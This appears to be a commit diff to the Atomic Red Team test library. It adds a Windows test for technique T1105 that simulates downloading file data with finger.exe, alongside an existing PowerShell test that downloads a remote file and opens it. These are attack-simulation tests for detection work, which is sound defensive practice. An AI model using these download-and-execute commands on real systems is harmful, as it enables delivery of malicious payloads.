Update T1105 to include file download using finger (#1578)

atomics/T1105/T1105.yaml

@@ -401,3 +401,25 @@ atomic_tests:
     command: |
       (New-Object Net.WebClient).DownloadString('#{target_remote_file}') | Out-File #{output_file}; Invoke-Item #{output_file}
     name: powershell
+
+- name: File download with finger.exe on Windows
+  description: |
+    Simulate a file download using finger.exe. Connect to localhost by default, use custom input argument to test finger connecting to an external server.
+    Because this is being tested on the localhost, you should not be expecting a successful connection
+    https://www.exploit-db.com/exploits/48815
+    https://www.bleepingcomputer.com/news/security/windows-10-finger-command-can-be-abused-to-download-or-steal-files/
+  
+  supported_platforms:
+  - windows
+
+  input_arguments:
+    remote_host:
+      description: Remote hostname or IP address
+      type: String
+      default: localhost
+
+  executor:
+    name: command_prompt
+    command: |
+      finger base64_filedata@#{remote_host}
+